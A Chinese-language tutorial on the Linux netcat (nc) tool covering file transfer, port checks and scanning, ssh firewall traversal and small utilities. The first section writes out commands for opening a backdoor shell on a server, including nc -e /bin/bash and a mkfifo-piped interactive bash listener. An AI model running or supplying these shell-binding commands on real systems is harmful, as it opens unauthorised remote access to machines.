Linux netcat nc
netcat这个工具,简称nc,是Linux上一个非常强大的工具(当然也有windows版本)。由于它能力实在太强,有些公司甚至对他进行了隔离(quarantined)。比如rename掉,或者给000的权限。因为它很容易可以在服务器上开一个后门(backdoor),并且及其方便。
查看nc命令的位置

  1. whereis nc

image.png
使用file命令来看一下它的属性。结果发现它是一个链接文件。

  1. file /usr/bin/nc

image.png

1、为服务器开后门

①服务端通过nc命令开放端口

下面的命令,将在机器上开放5879端口。服务端:

  1. nc -l -vv -p 5879 -e /bin/bash

image.png
这个过程叫做反弹shell,远程就可以使用nc命令连接,执行一些操作。

②客户端通过nc连接主机

  1. nc -v 127.0.0.1 5879

image.png
客户端连接成功后,在服务端显示操作日志
image.png

③关闭客户端时服务端一同关闭,使用-k参数可以保持服务端监听

想要服务端继续监听,可以加上参数-k

④客户端连接时显示命令执行终端

服务器端,执行下面两个命令,这就构造了一个循环。

  1. rm -f /tmp/f; mkfifo /tmp/f
  2. cat /tmp/f | /bin/bash -i 2>&1 | nc -l 5879 > /tmp/f

image.png
然后通过客户端连接服务端,会显示命令终端
image.png

⑤端口扫描

2、文件和目录传输

①服务端开启端口监听并重定向到文件

  1. nc -l 5879 > file

②客户端启动连接并使用反向箭头发送文件

  1. nc -v 192.16.1.54 5879 < redis-5.0.5.tar.gz

由于没有使用rsa加密,文件传输的更快了。
查看文件的MD5完全匹配

  1. MD5 (redis-5.0.5.tar.gz) = 224cabf26d622f37528b398762e1578c
  2. md5sum file
  3. 224cabf26d622f37528b398762e1578c file

③目录的传输

客户端将文件夹压缩为文件通过管道传递给nc

nc命令接收了打包的文件

  1. tar cfz - redis-5.0.5 | nc -v 192.16.1.54 5879

服务端接收压缩文件并解压为目录

把nc的输出,使用管道交给tar命令处理。xfvzcvfz是一对参数

nc -l 5879  | tar xfvz -

3、网络连通性检测

测试指定端口的连通性

想要判断服务器的tomcat端口是否开启,不需要登陆到服务器上,然后再ps一下看一下进程,或者使用netstat -antl看一下监听的端口。
使用nc就可以了。
只需要简单的打上ip和端口,就能知道结果。

$ nc -vvv baidu.com 443
Connection to baidu.com port 443 [tcp/https] succeeded!

通过nc扫描主机端口的开放情况
nc -vzw 2 192.16.1.54 8888-9999

4、防火墙穿透

比如下面这张图。想要访问tongariro的这台机器,但是没有权限的。它只能通过aoraki的防火墙访问。同时,aoraki也只能接受来自ruapehu的请求。
nc命令-netcat - 图8
通过组合ssh命令可以达到这个效果。

ssh -A -t ruapehu.example.com ssh -A -t aoraki ssh -A tongariro

通过ssh的ProxyCommand,可以完成简单的配置。
使用下面的命令可以快速打通这个通道。

ssh -oProxyCommand="ssh host1 nc host2 22" host2

5、其他

时间服务器

实现一个简单的时间服务器。web浏览器访问即可获取。

ncat -lkp 8976 --sh-exec 'echo -ne "HTTP/1.0 200 OK\r\n\r\nThe date is "; date;'

image.png

远程视频服务

服务端

arecord -f cd -c 2 | lame -b128 - - | netcat -u your-ip 6881 | mpg123 -

客户端

arecord -f cd -c 2 | lame -b128 - - | netcat -u -l 6881 | mpg123 -****